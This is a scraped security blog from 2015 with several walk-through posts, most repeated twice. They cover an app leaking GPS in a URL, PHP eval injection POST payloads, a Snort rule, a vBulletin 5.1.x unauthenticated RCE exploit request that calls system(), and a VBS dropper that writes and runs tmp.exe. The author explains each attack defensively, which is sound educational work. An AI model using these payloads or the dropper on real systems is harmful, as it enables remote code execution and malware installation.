I recently came across just by happen-stance a request made from the SpeedTest 3.6.1 application. This application has legitimate purposes and there is nothing wrong with it if you know what you're agreeing to. But what I thought was slightly disturbing, and I'm sure this exists on tons and tons of other iPhone apps as well, is that in plain text in the URL as a query string parameter, the exact GPS location (latitude and longitude) of your phone is sent out. I confirmed this works, and was able to track the phone to the exact building and get a pic from google earth. Plus I now know the exact version of the phone and it's operating system. Freaky. It's like straight out of CSI Cyber :-P Protect that data developers!
Sample url:
hxxp://www.speedtest.net/api/ios-config.php?&carrier=REDACTED&connection=2&configConnType=LTE&model=iPhone7%2C2&version=8.4.1&appversion=3.6.1.12&serverid=-1&lat=REDACTED&lon=REDACTED
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Sample url:
hxxp://www.speedtest.net/api/ios-config.php?&carrier=REDACTED&connection=2&configConnType=LTE&model=iPhone7%2C2&version=8.4.1&appversion=3.6.1.12&serverid=-1&lat=REDACTED&lon=REDACTED
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
LinkedIn Resolves XSS in 3 hours
A long while back I wrote a blog expressing my opinion that Agile is better for security than waterfall. The company LinkedIn gave a good example of that this past week. Per this article about an XSS vulnerability they recently resolved, "Dua alerted the company of the bug shortly after 11 p.m. on Monday, and according to his disclosure timeline, LinkedIn implemented a fix shortly after 2 a.m. on Tuesday.".
Now that's quick turn-around! You aren't able to consistently do that successfully unless you're comfortable with moving fast, coding fast, and testing fast. But if you're good at moving fast like that, I believe your site is going to end up much more secure.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Now that's quick turn-around! You aren't able to consistently do that successfully unless you're comfortable with moving fast, coding fast, and testing fast. But if you're good at moving fast like that, I believe your site is going to end up much more secure.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Friday, November 20, 2015
PHP Injection Base64 walk-thru
This php injection attack was similar to the one I blogged about yesterday but interesting none-the-less.
POST/index.php?s=/abc/abc/abc/${@print(eval($_POST[c]))}
c=@eval(base64_decode($_POST[x0]));
x0=ZWNobyAiLT58MTIzfDwtIjs=
Similar to yesterday it's trying to execute PHP code based on an old php vulnerability that appears to allow the eval of php code via query string parameters and post parameters.
First they're going to print the results back to the screen which essentially get returned in the http response and can be used to automate a response (if bad guys gets results back then he knows it's vulnerable and can attack further). Then he'll try to eval (or execute) the php code found on the post parameter 'c'.
In the post data the parameter 'c' will try to eval (or execute) the base64_decode function which decodes the value in the 'x0' post parameter. This is just a way of obfuscating what he's doing, hiding from the good guys, from the IDS/IPS, etc.
So basically all we need to know is what's in the base64 encoded value 'ZWNobyAiLT58MTIzfDwtIjs='. Well find a good free base64 decoder (or just use notepad++). It'll tell you that it is equivalent to echo "->|123|<-"; which means that if successful this attack literally just prints out some text ... ->|123|<-
So, nothing exciting, please move on :-)
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
POST/index.php?s=/abc/abc/abc/${@print(eval($_POST[c]))}
c=@eval(base64_decode($_POST[x0]));
x0=ZWNobyAiLT58MTIzfDwtIjs=
Similar to yesterday it's trying to execute PHP code based on an old php vulnerability that appears to allow the eval of php code via query string parameters and post parameters.
First they're going to print the results back to the screen which essentially get returned in the http response and can be used to automate a response (if bad guys gets results back then he knows it's vulnerable and can attack further). Then he'll try to eval (or execute) the php code found on the post parameter 'c'.
In the post data the parameter 'c' will try to eval (or execute) the base64_decode function which decodes the value in the 'x0' post parameter. This is just a way of obfuscating what he's doing, hiding from the good guys, from the IDS/IPS, etc.
So basically all we need to know is what's in the base64 encoded value 'ZWNobyAiLT58MTIzfDwtIjs='. Well find a good free base64 decoder (or just use notepad++). It'll tell you that it is equivalent to echo "->|123|<-"; which means that if successful this attack literally just prints out some text ... ->|123|<-
So, nothing exciting, please move on :-)
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, November 19, 2015
PHP Injection via post walk-thru
POST /yanyu/?q={${eval($_POST[u])}} HTTP/1.1
This malicious post looked pretty interested and worth mentioning. It's attempting to exploit a php vulnerability likely that allows for execution of code passes in as a post parameter. In this case the post looked like this and attempted to execute the php code listed in parameter 'u' (see below). The final goal of this as you'll see by reading the rest appears to be just data exfiltrations/information gathering about the vulnerable web server. No payload is actually delivered at this time.
u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]); z0=603403;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
Let's go thru line by line
u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]);
The above code is parameter u that gets executed by the http post mentioned above. First this it does is check to see if magic_quotes_gpc is enabled or not. If so, it needs to strip off the slashes before executing the rest of the payload, if not just use the raw payload. Where is the payload? When it's in the post parameter called z0 (122 = z, 48 = 0). I know that from asccitable.com.
z0=
The above code starts the real payload, the z0 parameter.
603403;
The above code not sure what it is for? my guess is maybe a version number. It's just an integer which when executed in php does nothing.
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
The above code sets several configuration settings. init_set is used to disable error messages. set_time_limit to 0 is used to disable time limits on execution. set_magic_quotes_runtime to 0 is used to disable magic quotes.
echo("->|");;
The above code will print characters to the screen (returned via the http request). this is the attacker indicating the start of the exfiltrated system information that he's going to grab.
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
Next the attacker attempts to load the directory that the php file is currently located in on the server. He tries with 2 different methods.
$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:
(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):
(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):
str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:
(isset($_SERVER["URL"])?$_SERVER["URL"]:
$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:
$_SERVER["SCRIPT_FILENAME"])));
The above goes thru a series of tertiary conditionals (?:) or essentially if statements to determine if various parameters are set, he's trying 1 at a time to determine the root folder for the website and saving it in $root
$R="{$D}|".$root."|";
The above code is going to start building a list of exfiltrated data about this web server that he'll send back to himself via the http response. This includes now the current folder and the web root folder.
if(substr($D,0,1)!="/"){
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
$R.="|";
The above code appears to then see if the current directory starts with a / and if not loops thru looking for any folders with the single character name A thru Z. If it finds any, it appends them to the data exfiltration dump. Not exactly sure why unless those are standard folders the attacker uses as payload and he wants to see if it's already been there or not.
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
The above code will grab what security group or essentially permissions the current web user has.
$R.=php_uname();$R.="({$usr})";
The above code then appends the user security group information plus information about the system itself to the data exfilitration payload.
print $R;;echo("|<-");
die();
The above code finally prints all the information it wants to exfiltrate out to the http response. Then kills the process so the request returns. The attacker will likely then look for the special characters and if he sees then he knows he's got a vulnerable box, then he'll return in a few minutes with a payload that compromises the box.
Hope this helps.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
This malicious post looked pretty interested and worth mentioning. It's attempting to exploit a php vulnerability likely that allows for execution of code passes in as a post parameter. In this case the post looked like this and attempted to execute the php code listed in parameter 'u' (see below). The final goal of this as you'll see by reading the rest appears to be just data exfiltrations/information gathering about the vulnerable web server. No payload is actually delivered at this time.
u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]); z0=603403;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
Let's go thru line by line
u=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]);
The above code is parameter u that gets executed by the http post mentioned above. First this it does is check to see if magic_quotes_gpc is enabled or not. If so, it needs to strip off the slashes before executing the rest of the payload, if not just use the raw payload. Where is the payload? When it's in the post parameter called z0 (122 = z, 48 = 0). I know that from asccitable.com.
z0=
The above code starts the real payload, the z0 parameter.
603403;
The above code not sure what it is for? my guess is maybe a version number. It's just an integer which when executed in php does nothing.
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
The above code sets several configuration settings. init_set is used to disable error messages. set_time_limit to 0 is used to disable time limits on execution. set_magic_quotes_runtime to 0 is used to disable magic quotes.
echo("->|");;
The above code will print characters to the screen (returned via the http request). this is the attacker indicating the start of the exfiltrated system information that he's going to grab.
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
Next the attacker attempts to load the directory that the php file is currently located in on the server. He tries with 2 different methods.
$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:
(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):
(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):
str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:
(isset($_SERVER["URL"])?$_SERVER["URL"]:
$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:
$_SERVER["SCRIPT_FILENAME"])));
The above goes thru a series of tertiary conditionals (?:) or essentially if statements to determine if various parameters are set, he's trying 1 at a time to determine the root folder for the website and saving it in $root
$R="{$D}|".$root."|";
The above code is going to start building a list of exfiltrated data about this web server that he'll send back to himself via the http response. This includes now the current folder and the web root folder.
if(substr($D,0,1)!="/"){
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
$R.="|";
The above code appears to then see if the current directory starts with a / and if not loops thru looking for any folders with the single character name A thru Z. If it finds any, it appends them to the data exfiltration dump. Not exactly sure why unless those are standard folders the attacker uses as payload and he wants to see if it's already been there or not.
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
The above code will grab what security group or essentially permissions the current web user has.
$R.=php_uname();$R.="({$usr})";
The above code then appends the user security group information plus information about the system itself to the data exfilitration payload.
print $R;;echo("|<-");
die();
The above code finally prints all the information it wants to exfiltrate out to the http response. Then kills the process so the request returns. The attacker will likely then look for the special characters and if he sees then he knows he's got a vulnerable box, then he'll return in a few minutes with a payload that compromises the box.
Hope this helps.
More about neonprimetime
Top Blogs of all-time
- pagerank botnet sql injection walk-thru
- ali.txt php injection walk-thru
- apache struts2 rce walk-thru
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
ZeroAccess Snort Rule 1:26910 Walk-thru
This snort rule triggered from this post request and I thought I'd walk through why it triggered.
$HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS means local to remote on web ports
content:"POST"; http_method means http post (so typically like when a user hits a submit button on a website ... but many ways to post data back to server)
content:"Content-Length: 128|0D 0A|"; fast_pattern:only; http_header; means http header must contain the text '128' followed by newline \r\n
content:" HTTP/1."; content:"|0D 0A|User-Agent: "; within:14; distance:1; means HTTP/1. and User-Agent must be close together
content:!"|0D 0A|Accept"; http_header; means doesn't contain the word Accept in header
pcre:"/[^ -~\x0d\x0a]{4}/P"; means it must match this regular expression ...
' -~' means "printable characters" .... so if you look at http://www.asciitable.com/ and go from the 2nd column to the end
\x0d and \x0a are the newlines again
the ^ means not
and the {4} means 4 times
so i'd read it as saying it contains 4 non-printable characters in a row
which based on the title 'ZeroAccess Encrypted 128-byte POST No Accept Headers' i'm wondering if that's a way they try to indicate encryption
Other good links for ZeroAccess are Symantec explanation and Symantec white paper
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
$HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS means local to remote on web ports
content:"POST"; http_method means http post (so typically like when a user hits a submit button on a website ... but many ways to post data back to server)
content:"Content-Length: 128|0D 0A|"; fast_pattern:only; http_header; means http header must contain the text '128' followed by newline \r\n
content:" HTTP/1."; content:"|0D 0A|User-Agent: "; within:14; distance:1; means HTTP/1. and User-Agent must be close together
content:!"|0D 0A|Accept"; http_header; means doesn't contain the word Accept in header
pcre:"/[^ -~\x0d\x0a]{4}/P"; means it must match this regular expression ...
' -~' means "printable characters" .... so if you look at http://www.asciitable.com/ and go from the 2nd column to the end
\x0d and \x0a are the newlines again
the ^ means not
and the {4} means 4 times
so i'd read it as saying it contains 4 non-printable characters in a row
which based on the title 'ZeroAccess Encrypted 128-byte POST No Accept Headers' i'm wondering if that's a way they try to indicate encryption
Other good links for ZeroAccess are Symantec explanation and Symantec white paper
More about neonprimetime
Top Blogs of all-time
- pagerank botnet sql injection walk-thru
- ali.txt php injection walk-thru
- apache struts2 rce walk-thru
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Sunday, November 15, 2015
vBulletin 5.1.x #rce walk-through
I saw this vBulletin rce exploit on pastebin written in python by Mauritania Attacker. Thought it was interesting and worth talking thru.
First, let's understand that vBulletin is software used to build website forums. Per wiki, some of the bigger ones are Bodybuilding.com and Gamerzplanet.net.
Next let's understand the exploit. Per the name it's rce (Remote Code Execution) which essentially means you'll be able to run the code you want against the web server remotely (from your laptop if you want for example). It does not appear to require any authentication, so you don't need a username/password, you simply need to know a website/url and that's it. Unauthenticated RCE is perhaps the scariest category of exploit. 0day also is bad because that likely means it was being used and exploited before anybody told the vBulletin developers and thus before they had a chance to patch it and before website owners had a chance to apply a fix.
Now the exploit linked above is written in python. The script simply lets you type in a website ( site = input('Target : ') ) and it'll perform an initial harmless test (mad = inject(site)) to validate if the site is vulnerable to the rce exploit or not. We'll dig a bit deeper into that test in a bit down below. Next, if the test is successful, and the website is vulnerable, it prompts the user for the shell commands you want to run against the web server ( userinput = input("AnonGhost@Target :") ). Then it runs them (bash(site, userinput)). That's it, that's how scarey and how simple this vulnerability is.
So first, the test.
import requests, re, sys
url = ghost + '/ajax/api/hook/decodeArguments?'
r = requests.get( url,
params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:14:"echo Th3Falcon";}', timeout= 50 )
The test is going to exploit a vulnerability in the ajax API calls (Ajax API DecodeArguments) in /core/vb/api/, in the file hook.php, in the function decodeArguments. That function takes 1 parameter which is actually a serialized version of a bunch of arguments in json notation. The code inside hook.php is going to end up de-serializing those arguments from json into objects. Unfortunately the way it was originally written it wasn't properly serializing or deserializing (see below).
If we look at the json in the url parameters above closer (with some nicer indentation and highlighting) we can see that it's a serialized version of the class vB_dB_Result.
vB_dB_Result
O:12:vB_dB_Result:2:{
s:5:%00*%00db;O:11:vB_Database:1:{
s:9:functions;a:1:{
s:11:free_result;
s:6:system;
}
}
s:12:%00*%00recordset;
s:14:echo Th3Falcon;
}
Reading the json above can be a bit tricky. Here's some useful information for reading json...
- O is "object", then the length of the class name, then the class name, then the object size (# of properties it has)
- s is "string", then the length (# of characters), and then the string's value, closed by a semicolon (;);
- a is an "array", then the length (# of key/value pairs), and then 2 string for each for both the key and the value.
- %00 is the null byte (single character).
The key things from the exploit code and jason above in red is that it appears the attacker can control both a bash command that gets run plus it's parameters. So he can run "system('echo Th3Falcon')". uh-oh. Why can he run that?
It appears that in the decodeArguments method...
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
... the way the unserialize/serialize methods work make is possible for the user to control these values. From what I've read, the fix is to change it to json_decode/json_encode to prevent this attack. json_decode is smarter and knows where there are unserialize functions that shouldn't be allowed to be controlled by user input. If you're running the old code and still using the unserialize/serialize combo, then the attacker with input from the url ends up controlling both the bash command and the parameter which ends up being a really bad combination.
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
It still may be tough to see with the naked eye how this is working, so let's break it down with some pretty colors.
@$this->functions['free_result']($queryresult);
Becomes
@system('echo Th3Falcon');
Which means your web server is now going to be owned because I'm sure the attacker as higher ambitions that simply running an echo.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
First, let's understand that vBulletin is software used to build website forums. Per wiki, some of the bigger ones are Bodybuilding.com and Gamerzplanet.net.
Next let's understand the exploit. Per the name it's rce (Remote Code Execution) which essentially means you'll be able to run the code you want against the web server remotely (from your laptop if you want for example). It does not appear to require any authentication, so you don't need a username/password, you simply need to know a website/url and that's it. Unauthenticated RCE is perhaps the scariest category of exploit. 0day also is bad because that likely means it was being used and exploited before anybody told the vBulletin developers and thus before they had a chance to patch it and before website owners had a chance to apply a fix.
Now the exploit linked above is written in python. The script simply lets you type in a website ( site = input('Target : ') ) and it'll perform an initial harmless test (mad = inject(site)) to validate if the site is vulnerable to the rce exploit or not. We'll dig a bit deeper into that test in a bit down below. Next, if the test is successful, and the website is vulnerable, it prompts the user for the shell commands you want to run against the web server ( userinput = input("AnonGhost@Target :") ). Then it runs them (bash(site, userinput)). That's it, that's how scarey and how simple this vulnerability is.
So first, the test.
import requests, re, sys
url = ghost + '/ajax/api/hook/decodeArguments?'
r = requests.get( url,
params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:14:"echo Th3Falcon";}', timeout= 50 )
The test is going to exploit a vulnerability in the ajax API calls (Ajax API DecodeArguments) in /core/vb/api/, in the file hook.php, in the function decodeArguments. That function takes 1 parameter which is actually a serialized version of a bunch of arguments in json notation. The code inside hook.php is going to end up de-serializing those arguments from json into objects. Unfortunately the way it was originally written it wasn't properly serializing or deserializing (see below).
If we look at the json in the url parameters above closer (with some nicer indentation and highlighting) we can see that it's a serialized version of the class vB_dB_Result.
vB_dB_Result
O:12:vB_dB_Result:2:{
s:5:%00*%00db;O:11:vB_Database:1:{
s:9:functions;a:1:{
s:11:free_result;
s:6:system;
}
}
s:12:%00*%00recordset;
s:14:echo Th3Falcon;
}
Reading the json above can be a bit tricky. Here's some useful information for reading json...
- O is "object", then the length of the class name, then the class name, then the object size (# of properties it has)
- s is "string", then the length (# of characters), and then the string's value, closed by a semicolon (;);
- a is an "array", then the length (# of key/value pairs), and then 2 string for each for both the key and the value.
- %00 is the null byte (single character).
The key things from the exploit code and jason above in red is that it appears the attacker can control both a bash command that gets run plus it's parameters. So he can run "system('echo Th3Falcon')". uh-oh. Why can he run that?
It appears that in the decodeArguments method...
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
... the way the unserialize/serialize methods work make is possible for the user to control these values. From what I've read, the fix is to change it to json_decode/json_encode to prevent this attack. json_decode is smarter and knows where there are unserialize functions that shouldn't be allowed to be controlled by user input. If you're running the old code and still using the unserialize/serialize combo, then the attacker with input from the url ends up controlling both the bash command and the parameter which ends up being a really bad combination.
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
It still may be tough to see with the naked eye how this is working, so let's break it down with some pretty colors.
@$this->functions['free_result']($queryresult);
Becomes
@system('echo Th3Falcon');
Which means your web server is now going to be owned because I'm sure the attacker as higher ambitions that simply running an echo.
More about neonprimetime
Top Blogs of all-time
- pagerank botnet sql injection walk-thru
- ali.txt php injection walk-thru
- apache struts2 rce walk-thru
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Labels:
Ajax,
Bash,
OS Command Injection,
RCE,
vBulletin
Saturday, November 14, 2015
Malicious VBS Script Walkthrough
This malicious VBS script was attached to a suspicious email. Below I'll walk-through line by line and explain what it's doing.
This is the original code.
data="895C241833C333442334424403344244......4444494e475858504144"
data=split(data,"H")(1)
set ws = CreateObject("WScript.Shell")
fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe"
saveFile fn,data
ws.Run fn
wscript.sleep 100
sub saveFile(fName,str)
dim temp
set xmldoc = CreateObject("Microsoft.XMLDOM")
xmldoc.loadXml ""
set pic = xmldoc.createElement("pic")
pic.dataType = "bin.hex"
pic.nodeTypedValue = str
temp = pic.nodeTypedValue
with CreateObject("ADODB.Stream")
.type = 1
.open
.write temp
.saveToFile fName, 2
.close:
end with
end sub
Let's do a line-by-line walk-through of the code above. First...
data="895C241833C333442334424403344244......4444494e475858504144"
There was a large variable that contains a string version of the EXE or malicious payload that the attacker wants to run on your computer.
data=split(data,"H")(1)
But actually the big string variable contains extra junk as well and only part of it is for the malicious executable. The letter "H" mark boundaries in the long string, so it splits it apart and grabs one part of the string.
set ws = CreateObject("WScript.Shell")
Then it's going to create an ActiveX object that will allow the attack to interact with the shell (the command prompt).
fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe"
First thing they do with the command prompt is use it to determine where the windows temp folder path is because no matter who the attacker is they're more than likely going to have write access to the temp directory. Then with that folder path they generate a string that will hold the final destination path where their malicious executable that they're calling 'tmp.exe' is going to get saved and run from.
saveFile fn,data
Then they save the executable stored in that string variable to that temp folder path they just found. NOTE: saveFile is not a system function, it is a custom written one that we will talk about more below.
ws.Run fn
wscript.sleep 100
Then they use the shell object to run the executable they just saved. And they have the script sleep/pause a little bit just to ensure their executable finishes running. NOTE: We didn't discuss today what the executable was doing but let's assume it's installing some sort of backdoor that allows the attacker to control your computer and send/receive data from it at a later date.
Now as we stated above there was one custom function called saveFile that we need to dig a bit deper into.
sub saveFile(fName,str)
The function is called saveFile and it takes 2 parameters, the path to save to (called 'fName') and the data to save to the file (called 'str').
dim temp
set xmldoc = CreateObject("Microsoft.XMLDOM")
xmldoc.loadXml ""
First some variables are create. A 'temp' variable will be used to hold the final modified binary hex version of the executable string passed in to this function and written to disk. The xmldoc will be used as part of transformation process to get that string into the binary hex executable. xmldoc is an ActiveX XMLDOM object (allows reading, writing and modifying of XML files). Initially the attacker just puts an empty xml document (with just the version header) into the variable.
set pic = xmldoc.createElement("pic")
pic.dataType = "bin.hex"
pic.nodeTypedValue = str
temp = pic.nodeTypedValue
Now the attacker is going to use that empty xml document simply as a pass-thru to transform his string to binary hex. How? He creates inside that empty xmldoc 1 new element called 'pic'. He sets the data type of 'pic' to 'bin.hex' (Binary Hex which is what is needed for an executable). Then he puts the string version of the executable (passed in as 'str') to the xml element. Now when he accesses the 'nodeTypedValue' parameter of the xmldoc, that's where the magic happens and the XMLDOM object automatically converts his string to binary hex. He puts that new Binary Hex value into the 'temp' variable. Almost done.
with CreateObject("ADODB.Stream")
.type = 1
.open
.write temp
.saveToFile fName, 2
.close:
end with
end sub
Final step for the attacker is to create an ActiveX object ADODB.Stream that allows manipulation of a binary stream of data (which he happens to have saved in 'temp' now). He uses the dot (.) to concatenate a bunch of function calls together. First he sets the type of data (1=binary, 2=text, etc.). Then he opens the binary stream in memory. Then he writes his Binary Hex from 'temp' to the stream in memory. Then he saves the stream from memory to disk at the location specified in 'fName' and passes the save Option (1 = don't overwrite if exists, 2 = overwrite if exists). Then he closes the stream which means memory is flushed out to disk and we're done. Let the evilness begin.
Hope this was helpful.
NOTE: I didn't include the entire data variable's payload, it was long and not necessary for my walk-through.
NOTE2: I re-orged the code below from the original pastebin dump just to make it more readable.
NOTE3: The original script had a bunch of colons (:) which allows VBS scripts to write multiple commands on the same line. I removed them just to make it more readable again.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
This is the original code.
data="895C241833C333442334424403344244...
data=split(data,"H")(1)
set ws = CreateObject("WScript.Shell")
fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe"
saveFile fn,data
ws.Run fn
wscript.sleep 100
sub saveFile(fName,str)
dim temp
set xmldoc = CreateObject("Microsoft.XMLDOM")
xmldoc.loadXml ""
set pic = xmldoc.createElement("pic")
pic.dataType = "bin.hex"
pic.nodeTypedValue = str
temp = pic.nodeTypedValue
with CreateObject("ADODB.Stream")
.type = 1
.open
.write temp
.saveToFile fName, 2
.close:
end with
end sub
Let's do a line-by-line walk-through of the code above. First...
data="895C241833C333442334424403344244...
There was a large variable that contains a string version of the EXE or malicious payload that the attacker wants to run on your computer.
data=split(data,"H")(1)
But actually the big string variable contains extra junk as well and only part of it is for the malicious executable. The letter "H" mark boundaries in the long string, so it splits it apart and grabs one part of the string.
set ws = CreateObject("WScript.Shell")
Then it's going to create an ActiveX object that will allow the attack to interact with the shell (the command prompt).
fn = ws.ExpandEnvironmentStrings("%temp%") & "\tmp.exe"
First thing they do with the command prompt is use it to determine where the windows temp folder path is because no matter who the attacker is they're more than likely going to have write access to the temp directory. Then with that folder path they generate a string that will hold the final destination path where their malicious executable that they're calling 'tmp.exe' is going to get saved and run from.
saveFile fn,data
Then they save the executable stored in that string variable to that temp folder path they just found. NOTE: saveFile is not a system function, it is a custom written one that we will talk about more below.
ws.Run fn
wscript.sleep 100
Then they use the shell object to run the executable they just saved. And they have the script sleep/pause a little bit just to ensure their executable finishes running. NOTE: We didn't discuss today what the executable was doing but let's assume it's installing some sort of backdoor that allows the attacker to control your computer and send/receive data from it at a later date.
Now as we stated above there was one custom function called saveFile that we need to dig a bit deper into.
sub saveFile(fName,str)
The function is called saveFile and it takes 2 parameters, the path to save to (called 'fName') and the data to save to the file (called 'str').
dim temp
set xmldoc = CreateObject("Microsoft.XMLDOM")
xmldoc.loadXml ""
First some variables are create. A 'temp' variable will be used to hold the final modified binary hex version of the executable string passed in to this function and written to disk. The xmldoc will be used as part of transformation process to get that string into the binary hex executable. xmldoc is an ActiveX XMLDOM object (allows reading, writing and modifying of XML files). Initially the attacker just puts an empty xml document (with just the version header) into the variable.
set pic = xmldoc.createElement("pic")
pic.dataType = "bin.hex"
pic.nodeTypedValue = str
temp = pic.nodeTypedValue
Now the attacker is going to use that empty xml document simply as a pass-thru to transform his string to binary hex. How? He creates inside that empty xmldoc 1 new element called 'pic'. He sets the data type of 'pic' to 'bin.hex' (Binary Hex which is what is needed for an executable). Then he puts the string version of the executable (passed in as 'str') to the xml element. Now when he accesses the 'nodeTypedValue' parameter of the xmldoc, that's where the magic happens and the XMLDOM object automatically converts his string to binary hex. He puts that new Binary Hex value into the 'temp' variable. Almost done.
with CreateObject("ADODB.Stream")
.type = 1
.open
.write temp
.saveToFile fName, 2
.close:
end with
end sub
Final step for the attacker is to create an ActiveX object ADODB.Stream that allows manipulation of a binary stream of data (which he happens to have saved in 'temp' now). He uses the dot (.) to concatenate a bunch of function calls together. First he sets the type of data (1=binary, 2=text, etc.). Then he opens the binary stream in memory. Then he writes his Binary Hex from 'temp' to the stream in memory. Then he saves the stream from memory to disk at the location specified in 'fName' and passes the save Option (1 = don't overwrite if exists, 2 = overwrite if exists). Then he closes the stream which means memory is flushed out to disk and we're done. Let the evilness begin.
Hope this was helpful.
NOTE: I didn't include the entire data variable's payload, it was long and not necessary for my walk-through.
NOTE2: I re-orged the code below from the original pastebin dump just to make it more readable.
